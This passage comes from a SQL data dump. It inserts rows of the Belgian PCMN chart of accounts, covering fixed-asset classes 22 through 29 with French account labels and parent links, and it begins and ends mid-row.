17:28:15','PCMN-BASE','IMMO','22191',598,'Sur bâtiments administratifs et commerciaux',NULL,0,NULL,NULL,1,0,NULL,NULL),(601,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','22192',598,'Sur autres bâtiments d\'exploitation',NULL,0,NULL,NULL,1,0,NULL,NULL),(602,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','22194',598,'Sur voies de transport et ouvrages d\'art',NULL,0,NULL,NULL,1,0,NULL,NULL),(603,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','22195',598,'Sur constructions sur sol d\'autrui',NULL,0,NULL,NULL,1,0,NULL,NULL),(604,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','22196',598,'Sur frais d\'acquisition sur constructions',NULL,0,NULL,NULL,1,0,NULL,NULL),(605,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','222',578,'Terrains bâtis',NULL,0,NULL,NULL,1,0,NULL,NULL),(606,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','2220',605,'Valeur d\'acquisition',NULL,0,NULL,NULL,1,0,NULL,NULL),(607,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','22200',606,'Bâtiments industriels',NULL,0,NULL,NULL,1,0,NULL,NULL),(608,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','22201',606,'Bâtiments administratifs et commerciaux',NULL,0,NULL,NULL,1,0,NULL,NULL),(609,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','22202',606,'Autres bâtiments d\'exploitation',NULL,0,NULL,NULL,1,0,NULL,NULL),(610,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','22203',606,'Voies de transport et ouvrages d\'art',NULL,0,NULL,NULL,1,0,NULL,NULL),(611,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','22204',606,'Frais d\'acquisition des terrains à bâtir',NULL,0,NULL,NULL,1,0,NULL,NULL),(612,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','2228',605,'Plus-values actées',NULL,0,NULL,NULL,1,0,NULL,NULL),(613,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','22280',612,'Sur bâtiments industriels',NULL,0,NULL,NULL,1,0,NULL,NULL),(614,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','22281',612,'Sur bâtiments administratifs et commerciaux',NULL,0,NULL,NULL,1,0,NULL,NULL),(615,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','22282',612,'Sur autres bâtiments d\'exploitation',NULL,0,NULL,NULL,1,0,NULL,NULL),(616,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','22283',612,'Sur voies de transport et ouvrages d\'art',NULL,0,NULL,NULL,1,0,NULL,NULL),(617,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','2229',605,'Amortissements sur terrains bâtis',NULL,0,NULL,NULL,1,0,NULL,NULL),(618,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','22290',617,'Sur bâtiments industriels',NULL,0,NULL,NULL,1,0,NULL,NULL),(619,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','22291',617,'Sur bâtiments administratifs et commerciaux',NULL,0,NULL,NULL,1,0,NULL,NULL),(620,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','22292',617,'Sur autres bâtiments d\'exploitation',NULL,0,NULL,NULL,1,0,NULL,NULL),(621,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','22293',617,'Sur voies de transport et ouvrages d\'art',NULL,0,NULL,NULL,1,0,NULL,NULL),(622,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','22294',617,'Sur frais d\'acquisition des terrains bâtis',NULL,0,NULL,NULL,1,0,NULL,NULL),(623,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','223',578,'Autres droits réels sur des immeubles',NULL,0,NULL,NULL,1,0,NULL,NULL),(624,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','2230',623,'Valeur d\'acquisition',NULL,0,NULL,NULL,1,0,NULL,NULL),(625,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','2238',623,'Plus-values actées',NULL,0,NULL,NULL,1,0,NULL,NULL),(626,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','2239',623,'Amortissements',NULL,0,NULL,NULL,1,0,NULL,NULL),(627,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','23',1352,'Installations, machines et outillages',NULL,0,NULL,NULL,1,0,NULL,NULL),(628,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','230',627,'Installations',NULL,0,NULL,NULL,1,0,NULL,NULL),(629,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','2300',628,'Installations bâtiments industriels',NULL,0,NULL,NULL,1,0,NULL,NULL),(630,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','2301',628,'Installations bâtiments administratifs et commerciaux',NULL,0,NULL,NULL,1,0,NULL,NULL),(631,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','2302',628,'Installations bâtiments d\'exploitation',NULL,0,NULL,NULL,1,0,NULL,NULL),(632,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','2303',628,'Installations voies de transport et ouvrages d\'art',NULL,0,NULL,NULL,1,0,NULL,NULL),(637,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','2304',628,'Installation de chauffage',NULL,0,NULL,NULL,1,0,NULL,NULL),(638,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','2305',628,'Installation de conditionnement d\'air',NULL,0,NULL,NULL,1,0,NULL,NULL),(639,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','2306',628,'Installation de chargement',NULL,0,NULL,NULL,1,0,NULL,NULL),(640,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','231',627,'Machines',NULL,0,NULL,NULL,1,0,NULL,NULL),(641,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','2310',640,'Division A',NULL,0,NULL,NULL,1,0,NULL,NULL),(642,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','2311',640,'Division B',NULL,0,NULL,NULL,1,0,NULL,NULL),(643,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','2312',640,'Division C',NULL,0,NULL,NULL,1,0,NULL,NULL),(644,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','237',627,'Outillage',NULL,0,NULL,NULL,1,0,NULL,NULL),(645,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','2370',644,'Division A',NULL,0,NULL,NULL,1,0,NULL,NULL),(646,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','2371',644,'Division B',NULL,0,NULL,NULL,1,0,NULL,NULL),(647,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','2372',644,'Division C',NULL,0,NULL,NULL,1,0,NULL,NULL),(648,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','238',627,'Plus-values actées',NULL,0,NULL,NULL,1,0,NULL,NULL),(649,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','2380',648,'Sur installations',NULL,0,NULL,NULL,1,0,NULL,NULL),(650,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','2381',648,'Sur machines',NULL,0,NULL,NULL,1,0,NULL,NULL),(651,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','2382',648,'Sur outillage',NULL,0,NULL,NULL,1,0,NULL,NULL),(652,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','239',627,'Amortissements',NULL,0,NULL,NULL,1,0,NULL,NULL),(653,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','2390',652,'Sur installations',NULL,0,NULL,NULL,1,0,NULL,NULL),(654,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','2391',652,'Sur machines',NULL,0,NULL,NULL,1,0,NULL,NULL),(655,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','2392',652,'Sur outillage',NULL,0,NULL,NULL,1,0,NULL,NULL),(656,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','24',1352,'Mobilier et matériel roulant',NULL,0,NULL,NULL,1,0,NULL,NULL),(657,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','240',656,'Mobilier',NULL,0,NULL,NULL,1,0,NULL,NULL),(658,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','2400',656,'Mobilier',NULL,0,NULL,NULL,1,0,NULL,NULL),(659,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','24000',658,'Mobilier des bâtiments industriels',NULL,0,NULL,NULL,1,0,NULL,NULL),(660,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','24001',658,'Mobilier des bâtiments administratifs et commerciaux',NULL,0,NULL,NULL,1,0,NULL,NULL),(661,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','24002',658,'Mobilier des autres bâtiments d\'exploitation',NULL,0,NULL,NULL,1,0,NULL,NULL),(662,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','24003',658,'Mobilier oeuvres sociales',NULL,0,NULL,NULL,1,0,NULL,NULL),(663,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','2401',657,'Matériel de bureau et de service social',NULL,0,NULL,NULL,1,0,NULL,NULL),(664,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','24010',663,'Des bâtiments industriels',NULL,0,NULL,NULL,1,0,NULL,NULL),(665,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','24011',663,'Des bâtiments administratifs et commerciaux',NULL,0,NULL,NULL,1,0,NULL,NULL),(666,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','24012',663,'Des autres bâtiments d\'exploitation',NULL,0,NULL,NULL,1,0,NULL,NULL),(667,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','24013',663,'Des oeuvres sociales',NULL,0,NULL,NULL,1,0,NULL,NULL),(668,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','2408',657,'Plus-values actées',NULL,0,NULL,NULL,1,0,NULL,NULL),(669,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','24080',668,'Plus-values actées sur mobilier',NULL,0,NULL,NULL,1,0,NULL,NULL),(670,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','24081',668,'Plus-values actées sur matériel de bureau et service social',NULL,0,NULL,NULL,1,0,NULL,NULL),(671,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','2409',657,'Amortissements',NULL,0,NULL,NULL,1,0,NULL,NULL),(672,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','24090',671,'Amortissements sur mobilier',NULL,0,NULL,NULL,1,0,NULL,NULL),(673,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','24091',671,'Amortissements sur matériel de bureau et service social',NULL,0,NULL,NULL,1,0,NULL,NULL),(674,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','241',656,'Matériel roulant',NULL,0,NULL,NULL,1,0,NULL,NULL),(675,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','2410',674,'Matériel automobile',NULL,0,NULL,NULL,1,0,NULL,NULL),(676,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','24100',675,'Voitures',NULL,0,NULL,NULL,1,0,NULL,NULL),(677,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','24105',675,'Camions',NULL,0,NULL,NULL,1,0,NULL,NULL),(678,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','2411',674,'Matériel ferroviaire',NULL,0,NULL,NULL,1,0,NULL,NULL),(679,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','2412',674,'Matériel fluvial',NULL,0,NULL,NULL,1,0,NULL,NULL),(680,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','2413',674,'Matériel naval',NULL,0,NULL,NULL,1,0,NULL,NULL),(681,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','2414',674,'Matériel aérien',NULL,0,NULL,NULL,1,0,NULL,NULL),(682,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','2418',674,'Plus-values sur matériel roulant',NULL,0,NULL,NULL,1,0,NULL,NULL),(683,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','24180',682,'Plus-values sur matériel automobile',NULL,0,NULL,NULL,1,0,NULL,NULL),(684,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','24181',682,'Idem sur matériel ferroviaire',NULL,0,NULL,NULL,1,0,NULL,NULL),(685,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','24182',682,'Idem sur matériel fluvial',NULL,0,NULL,NULL,1,0,NULL,NULL),(686,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','24183',682,'Idem sur matériel naval',NULL,0,NULL,NULL,1,0,NULL,NULL),(687,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','24184',682,'Idem sur matériel aérien',NULL,0,NULL,NULL,1,0,NULL,NULL),(688,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','2419',674,'Amortissements sur matériel roulant',NULL,0,NULL,NULL,1,0,NULL,NULL),(689,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','24190',688,'Amortissements sur matériel automobile',NULL,0,NULL,NULL,1,0,NULL,NULL),(690,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','24191',688,'Idem sur matériel ferroviaire',NULL,0,NULL,NULL,1,0,NULL,NULL),(691,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','24192',688,'Idem sur matériel fluvial',NULL,0,NULL,NULL,1,0,NULL,NULL),(692,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','24193',688,'Idem sur matériel naval',NULL,0,NULL,NULL,1,0,NULL,NULL),(693,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','24194',688,'Idem sur matériel aérien',NULL,0,NULL,NULL,1,0,NULL,NULL),(694,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','25',1352,'Immobilisation détenues en location-financement et droits similaires',NULL,0,NULL,NULL,1,0,NULL,NULL),(695,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','250',694,'Terrains et constructions',NULL,0,NULL,NULL,1,0,NULL,NULL),(696,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','2500',695,'Terrains',NULL,0,NULL,NULL,1,0,NULL,NULL),(697,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','2501',695,'Constructions',NULL,0,NULL,NULL,1,0,NULL,NULL),(698,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','2508',695,'Plus-values sur emphytéose, leasing et droits similaires : terrains et constructions',NULL,0,NULL,NULL,1,0,NULL,NULL),(699,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','2509',695,'Amortissements et réductions de valeur sur terrains et constructions en leasing',NULL,0,NULL,NULL,1,0,NULL,NULL),(700,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','251',694,'Installations, machines et outillage',NULL,0,NULL,NULL,1,0,NULL,NULL),(701,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','2510',700,'Installations',NULL,0,NULL,NULL,1,0,NULL,NULL),(702,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','2511',700,'Machines',NULL,0,NULL,NULL,1,0,NULL,NULL),(703,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','2512',700,'Outillage',NULL,0,NULL,NULL,1,0,NULL,NULL),(704,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','2518',700,'Plus-values actées sur installations machines et outillage pris en leasing',NULL,0,NULL,NULL,1,0,NULL,NULL),(705,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','2519',700,'Amortissements sur installations machines et outillage pris en leasing',NULL,0,NULL,NULL,1,0,NULL,NULL),(706,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','252',694,'Mobilier et matériel roulant',NULL,0,NULL,NULL,1,0,NULL,NULL),(707,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','2520',706,'Mobilier',NULL,0,NULL,NULL,1,0,NULL,NULL),(708,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','2521',706,'Matériel roulant',NULL,0,NULL,NULL,1,0,NULL,NULL),(709,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','2528',706,'Plus-values actées sur mobilier et matériel roulant en leasing',NULL,0,NULL,NULL,1,0,NULL,NULL),(710,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','2529',706,'Amortissements sur mobilier et matériel roulant en leasing',NULL,0,NULL,NULL,1,0,NULL,NULL),(711,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','26',1352,'Autres immobilisations corporelles',NULL,0,NULL,NULL,1,0,NULL,NULL),(712,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','260',711,'Frais d\'aménagements de locaux pris en location',NULL,0,NULL,NULL,1,0,NULL,NULL),(713,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','261',711,'Maison d\'habitation',NULL,0,NULL,NULL,1,0,NULL,NULL),(714,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','262',711,'Réserve immobilière',NULL,0,NULL,NULL,1,0,NULL,NULL),(715,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','263',711,'Matériel d\'emballage',NULL,0,NULL,NULL,1,0,NULL,NULL),(716,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','264',711,'Emballages récupérables',NULL,0,NULL,NULL,1,0,NULL,NULL),(717,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','268',711,'Plus-values actées sur autres immobilisations corporelles',NULL,0,NULL,NULL,1,0,NULL,NULL),(718,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','269',711,'Amortissements sur autres immobilisations corporelles',NULL,0,NULL,NULL,1,0,NULL,NULL),(719,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','2690',718,'Amortissements sur frais d\'aménagement des locaux pris en location',NULL,0,NULL,NULL,1,0,NULL,NULL),(720,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','2691',718,'Amortissements sur maison d\'habitation',NULL,0,NULL,NULL,1,0,NULL,NULL),(721,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','2692',718,'Amortissements sur réserve immobilière',NULL,0,NULL,NULL,1,0,NULL,NULL),(722,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','2693',718,'Amortissements sur matériel d\'emballage',NULL,0,NULL,NULL,1,0,NULL,NULL),(723,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','2694',718,'Amortissements sur emballages récupérables',NULL,0,NULL,NULL,1,0,NULL,NULL),(724,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','27',1352,'Immobilisations corporelles en cours et acomptes versés',NULL,0,NULL,NULL,1,0,NULL,NULL),(725,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','270',724,'Immobilisations en cours',NULL,0,NULL,NULL,1,0,NULL,NULL),(726,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','2700',725,'Constructions',NULL,0,NULL,NULL,1,0,NULL,NULL),(727,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','2701',725,'Installations machines et outillage',NULL,0,NULL,NULL,1,0,NULL,NULL),(728,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','2702',725,'Mobilier et matériel roulant',NULL,0,NULL,NULL,1,0,NULL,NULL),(729,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','2703',725,'Autres immobilisations corporelles',NULL,0,NULL,NULL,1,0,NULL,NULL),(730,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','271',724,'Avances et acomptes versés sur immobilisations en cours',NULL,0,NULL,NULL,1,0,NULL,NULL),(731,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','28',1352,'Immobilisations financières',NULL,0,NULL,NULL,1,0,NULL,NULL),(732,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','280',731,'Participations dans des entreprises liées',NULL,0,NULL,NULL,1,0,NULL,NULL),(733,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','2800',732,'Valeur d\'acquisition (peut être subdivisé par participation)',NULL,0,NULL,NULL,1,0,NULL,NULL),(734,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','2801',732,'Montants non appelés (idem)',NULL,0,NULL,NULL,1,0,NULL,NULL),(735,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','2808',732,'Plus-values actées (idem)',NULL,0,NULL,NULL,1,0,NULL,NULL),(736,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','2809',732,'Réductions de valeurs actées (idem)',NULL,0,NULL,NULL,1,0,NULL,NULL),(737,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','281',731,'Créances sur des entreprises liées',NULL,0,NULL,NULL,1,0,NULL,NULL),(738,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','2810',737,'Créances en compte',NULL,0,NULL,NULL,1,0,NULL,NULL),(739,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','2811',737,'Effets à recevoir',NULL,0,NULL,NULL,1,0,NULL,NULL),(740,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','2812',737,'Titres à revenu fixes',NULL,0,NULL,NULL,1,0,NULL,NULL),(741,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','2817',737,'Créances douteuses',NULL,0,NULL,NULL,1,0,NULL,NULL),(742,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','2819',737,'Réductions de valeurs actées',NULL,0,NULL,NULL,1,0,NULL,NULL),(743,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','282',731,'Participations dans des entreprises avec lesquelles il existe un lien de participation',NULL,0,NULL,NULL,1,0,NULL,NULL),(744,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','2820',743,'Valeur d\'acquisition (peut être subdivisé par participation)',NULL,0,NULL,NULL,1,0,NULL,NULL),(745,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','2821',743,'Montants non appelés (idem)',NULL,0,NULL,NULL,1,0,NULL,NULL),(746,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','2828',743,'Plus-values actées (idem)',NULL,0,NULL,NULL,1,0,NULL,NULL),(747,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','2829',743,'Réductions de valeurs actées (idem)',NULL,0,NULL,NULL,1,0,NULL,NULL),(748,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','283',731,'Créances sur des entreprises avec lesquelles il existe un lien de participation',NULL,0,NULL,NULL,1,0,NULL,NULL),(749,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','2830',748,'Créances en compte',NULL,0,NULL,NULL,1,0,NULL,NULL),(750,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','2831',748,'Effets à recevoir',NULL,0,NULL,NULL,1,0,NULL,NULL),(751,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','2832',748,'Titres à revenu fixe',NULL,0,NULL,NULL,1,0,NULL,NULL),(752,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','2837',748,'Créances douteuses',NULL,0,NULL,NULL,1,0,NULL,NULL),(753,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','2839',748,'Réductions de valeurs actées',NULL,0,NULL,NULL,1,0,NULL,NULL),(754,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','284',731,'Autres actions et parts',NULL,0,NULL,NULL,1,0,NULL,NULL),(755,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','IMMO','2840',754,'Valeur d\'acquisition',NULL,0,NULL,NULL,1,0,NULL,NULL),(756,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','IMMO','2841',754,'Montants non appelés',NULL,0,NULL,NULL,1,0,NULL,NULL),(757,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','IMMO','2848',754,'Plus-values actées',NULL,0,NULL,NULL,1,0,NULL,NULL),(758,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','IMMO','2849',754,'Réductions de valeur actées',NULL,0,NULL,NULL,1,0,NULL,NULL),(759,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','IMMO','285',731,'Autres créances',NULL,0,NULL,NULL,1,0,NULL,NULL),(760,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','IMMO','2850',759,'Créances en compte',NULL,0,NULL,NULL,1,0,NULL,NULL),(761,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','IMMO','2851',759,'Effets à recevoir',NULL,0,NULL,NULL,1,0,NULL,NULL),(762,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','IMMO','2852',759,'Titres à revenu fixe',NULL,0,NULL,NULL,1,0,NULL,NULL),(763,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','IMMO','2857',759,'Créances douteuses',NULL,0,NULL,NULL,1,0,NULL,NULL),(764,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','IMMO','2859',759,'Réductions de valeur actées',NULL,0,NULL,NULL,1,0,NULL,NULL),(765,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','IMMO','288',731,'Cautionnements versés en numéraires',NULL,0,NULL,NULL,1,0,NULL,NULL),(766,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','IMMO','2880',765,'Téléphone, téléfax, télex',NULL,0,NULL,NULL,1,0,NULL,NULL),(767,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','IMMO','2881',765,'Gaz',NULL,0,NULL,NULL,1,0,NULL,NULL),(768,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','IMMO','2882',765,'Eau',NULL,0,NULL,NULL,1,0,NULL,NULL),(769,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','IMMO','2883',765,'Electricité',NULL,0,NULL,NULL,1,0,NULL,NULL),(770,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','IMMO','2887',765,'Autres cautionnements versés en numéraires',NULL,0,NULL,NULL,1,0,NULL,NULL),(771,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','IMMO','29',1352,'Créances à plus d\'un an',NULL,0,NULL,NULL,1,0,NULL,NULL),(772,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','IMMO','290',771,'Créances commerciales',NULL,0,NULL,NULL,1,0,NULL,NULL),(773,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','IMMO','2900',772,'Clients',NULL,0,NULL,NULL,1,0,NULL,NULL),(774,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','IMMO','29000',773,'Créances en compte sur entreprises liées',NULL,0,NULL,NULL,1,0,NULL,NULL),(775,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','IMMO','29001',773,'Sur entreprises avec lesquelles il existe un lien de participation',NULL,0,NULL,NULL,1,0,NULL,NULL),(776,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','IMMO','29002',773,'Sur clients Belgique',NULL,0,NULL,NULL,1,0,NULL,NULL),(777,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','IMMO','29003',773,'Sur clients C.E.E.',NULL,0,NULL,NULL,1,0,NULL,NULL),(778,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','IMMO','29004',773,'Sur clients exportation hors C.E.E.',NULL,0,NULL,NULL,1,0,NULL,NULL),(779,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','IMMO','29005',773,'Créances sur les coparticipants (associations momentanées)',NULL,0,NULL,NULL,1,0,NULL,NULL),(780,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','IMMO','2901',772,'Effets à recevoir',NULL,0,NULL,NULL,1,0,NULL,NULL),(781,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','IMMO','29010',780,'Sur entreprises liées',NULL,0,NULL,NULL,1,0,NULL,NULL),(782,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','IMMO','29011',780,'Sur entreprises avec lesquelles il existe un lien de participation',NULL,0,NULL,NULL,1,0,NULL,NULL),(783,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','IMMO','29012',780,'Sur clients Belgique',NULL,0,NULL,NULL,1,0,NULL,NULL),(784,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','IMMO','29013',780,'Sur clients C.E.E.',NULL,0,NULL,NULL,1,0,NULL,NULL),(785,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','IMMO','29014',780,'Sur clients exportation hors C.E.E.',NULL,0,NULL,NULL,1,0,NULL,NULL),(786,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','IMMO','2905',772,'Retenues sur garanties',NULL,0,NULL,NULL,1,0,NULL,NULL),(787,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','IMMO','2906',772,'Acomptes versés',NULL,0,NULL,NULL,1,0,NULL,NULL),(788,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','IMMO','2907',772,'Créances 